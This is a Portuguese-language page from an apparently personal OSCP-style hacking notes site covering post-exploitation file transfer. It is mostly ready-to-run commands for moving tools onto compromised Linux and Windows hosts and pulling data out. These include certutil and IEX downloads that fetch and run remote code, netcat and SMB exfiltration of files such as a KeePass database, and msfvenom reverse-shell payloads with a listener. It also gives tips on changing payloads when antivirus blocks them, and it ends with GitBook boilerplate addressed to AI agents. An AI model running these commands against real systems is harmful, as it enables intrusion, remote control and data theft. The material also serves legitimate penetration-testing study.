> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/post-exploitation/file-transfer.md).

# Transferência de Arquivos

A transferência de arquivos costuma ser um dos primeiros problemas práticos após obter um ponto de apoio: mover ferramentas para dentro, mover evidências para fora e fazer isso por qualquer protocolo que a rede alvo permitir. Mantenha vários métodos prontos, porque HTTP, SMB, FTP, PowerShell e Netcat são bloqueados de maneiras diferentes entre ambientes.

{% hint style="info" %}
Prefira a transferência mais simples que funcionar, valide hashes quando a integridade importar e remova payloads, compartilhamentos e listeners temporários quando a tarefa terminar.
{% endhint %}

## Tabela rápida de decisão

| Situação                                            | Boa primeira opção                                            | Alternativas              |
| --------------------------------------------------- | ------------------------------------------------------------- | ------------------------- |
| O alvo Linux consegue alcançar o HTTP do atacante   | Servidor HTTP Python + `wget`/`curl`                          | SCP, Netcat, Base64       |
| O alvo Windows consegue alcançar o HTTP do atacante | Servidor HTTP Python + PowerShell                             | `certutil`, SMB, FTP      |
| O alvo Windows consegue alcançar SMB                | Impacket `smbserver.py`                                       | HTTP, FTP                 |
| Precisa exfiltrar do Windows para o Linux           | Compartilhamento SMB com suporte a gravação                   | Netcat, Base64            |
| Arquivo de texto muito pequeno                      | Copiar e colar em Base64                                      | Netcat                    |
| Saída restrita                                      | Tente portas comumente permitidas, como `80`, `443` , ou `53` | Primeiro faça pivot/túnel |

## Transferências para alvo Linux

### `Wget`

```bash
python3 -m http.server 8000
wget http://10.10.11.1:8000/file.pdf
```

### **`Curl:`**

```bash
python3 -m http.server 1234
curl -O http://10.10.11.25:1234/file.pdf
```

### `Netcat`

Primeiro o receptor:

```bash
nc -lvp 4444 > file.pdf
```

Remetente:

```bash
cat file.pdf | nc 10.10.11.25 4444
```

### `SCP:`

Do servidor de origem:

```bash
scp /path/to/file user@10.10.11.25:/path/to/destination
```

Do servidor de destino:

```bash
scp user@10.10.11.1:/path/to/file /path/to/destination
```

## Transferências do Linux para Windows

### Servidor SMB

SMB costuma ser o caminho de transferência do Kali para Windows mais confiável quando a porta `445` está acessível.

No Kali:

```bash
smbserver.py share_name . -smb2support
```

Se o Windows exigir autenticação:

```bash
smbserver.py share_name . -smb2support -username user -password password
```

No Windows:

```powershell
copy \\10.10.14.10\share_name\file.exe C:\Temp\file.exe
```

### Servidor HTTP

No Kali:

```bash
python3 -m http.server 8000
```

No Windows com PowerShell:

```powershell
Invoke-WebRequest -Uri "http://10.10.14.10:8000/file.exe" -OutFile "C:\Temp\file.exe"
```

Cliente alternativo do PowerShell:

```powershell
(New-Object System.Net.WebClient).DownloadFile("http://10.10.14.10:8000/file.exe", "C:\Temp\file.exe")
```

Usando `certutil`:

```powershell
certutil -urlcache -split -f "http://10.10.14.10:8000/file.exe" C:\Temp\file.exe
```

### Servidor FTP

FTP é útil quando HTTP/SMB estão restritos, mas FTP de saída é permitido.

No Kali:

```bash
sudo apt update
sudo apt install python3-pyftpdlib
python3 -m pyftpdlib -p 21 --write
```

No Windows, crie um pequeno arquivo de comandos FTP:

```powershell
echo open 10.10.14.10 21> ftp_commands.txt
echo anonymous>> ftp_commands.txt
echo password>> ftp_commands.txt
echo binary>> ftp_commands.txt
echo get file.exe>> ftp_commands.txt
echo bye>> ftp_commands.txt
ftp -s:ftp_commands.txt
```

## Transferências para alvo Windows

### `Certutil`

```powershell
python3 -m http.server 80
certutil.exe -f -urlcache -split http://10.10.10.10/shell.exe
```

### `Invoke-WebRequest`

```powershell
python3 -m http.server 80
Invoke-WebRequest -Uri "http://10.10.10.10/file.exe" -OutFile "file.exe"
```

### `IEX (Invoke-Expression)`

```powershell
python3 -m http.server 80
IEX(New-object Net.WebClient).downloadString('http://10.10.10.10/file')
```

### `Enviar arquivo`

Você deve garantir que os arquivos estejam no diretório apropriado para ficarem acessíveis pelo servidor. Use o seguinte comando para realizar o envio

```bash
upload /home/jordan/Desktop/htb/return/content/nc.exe
```

### `Compartilhamento de Arquivos SMB`

```bash
smbserver.py share $(pwd) -smb2support
```

Em seguida, acesse seu compartilhamento SMB no seguinte endereço:

```powershell
copy \\10.10.10.10\share\file C:\Temp\file
```

## Transferência de arquivos do Windows para Linux

### Upload via SMB

Inicie um compartilhamento SMB com autenticação e suporte a SMB2:

```bash
smbserver.py -smb2support -username user -password password share_name /tmp/share
```

No alvo Windows, copie o arquivo para o compartilhamento SMB do atacante:

```powershell
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.9\share_name\
```

<figure><img src="/files/4663a9ff66ad1e9d4150a1b24c62862834b690ae" alt=""><figcaption></figcaption></figure>

### Exfiltração com Netcat

No Linux, escute e grave os bytes recebidos em um arquivo:

```bash
nc -nlvp 4444 > received_file.txt
```

No Windows:

```powershell
type C:\path\to\file.txt | nc.exe 10.10.14.10 4444
```

### Base64 para arquivos pequenos

No Windows:

```powershell
certutil -encode C:\path\to\file.txt encoded.b64
type encoded.b64
```

No Linux, cole o conteúdo codificado e decodifique-o:

```bash
echo "PASTE_BASE64_HERE" | base64 -d > file.txt
```

## Notas sobre preparação de payloads

A geração de payloads faz parte das ferramentas de exploração, mas é útil manter formatos comuns de preparação próximos às notas de transferência de arquivos.

Exemplos para Windows:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o reverse.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f psh -o reverse.ps1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o reverse.dll
```

Exemplos para Linux:

```bash
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f elf -o reverse
msfvenom -p cmd/unix/reverse_python LHOST=10.10.14.10 LPORT=443 -f raw -o reverse.py
```

Ouvinte:

```bash
nc -nvlp 443
```

## Dicas de fluxo de trabalho para OSCP

1. Prepare métodos HTTP, SMB, Netcat, FTP e Base64 antes de começar.
2. Teste o listener e o caminho do payload antes de fazer upload.
3. Use portas que provavelmente serão permitidas pela rede alvo, como `80`, `443` , ou `53`.
4. Mantenha um pequeno diretório de payloads/ferramentas pronto para evitar reconstruir os mesmos arquivos repetidamente.
5. Tenha em mente que o antivírus pode bloquear payloads ou métodos de transferência; troque de protocolo ou formato quando necessário.
6. Faça a limpeza de ferramentas temporárias, payloads, scripts FTP, compartilhamentos SMB e arquivos preparados após a validação.

## Solução de problemas

| Problema                              | Verificações                                                                                                                 |
| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| Conexão SMB recusada                  | Execute `smbserver.py` com privilégios suficientes, confirme a porta `445`, e tente `-smb2support`.                          |
| Windows não consegue acessar SMB      | Tente flags de autenticação, verifique as regras do firewall ou mude para HTTP.                                              |
| Falha no download HTTP                | Confirme se o alvo consegue alcançar o IP do atacante e se o arquivo está no diretório servido.                              |
| PowerShell bloqueado                  | Tente `certutil`, SMB, FTP ou um caminho de download living-off-the-land permitido pela política.                            |
| O antivírus remove o payload          | Transfira primeiro um arquivo de teste inofensivo e depois ajuste o formato do payload, a preparação ou o método de entrega. |
| Permissão negada após a transferência | Use `chmod +x` no Linux ou revise as ACLs do Windows com `icacls`.                                                           |
| Falha ao enviar para SMB              | Inicie o compartilhamento com um caminho gravável e credenciais e depois teste novamente com um pequeno arquivo de texto.    |

## Limpeza

```bash
rm -f reverse reverse.exe reverse.ps1 reverse.dll
rm -f ftp_commands.txt encoded.b64 received_file.txt
```

No Windows:

```powershell
del C:\Temp\file.exe
del C:\Temp\reverse.exe
del ftp_commands.txt
certutil -urlcache * delete
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/post-exploitation/file-transfer.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
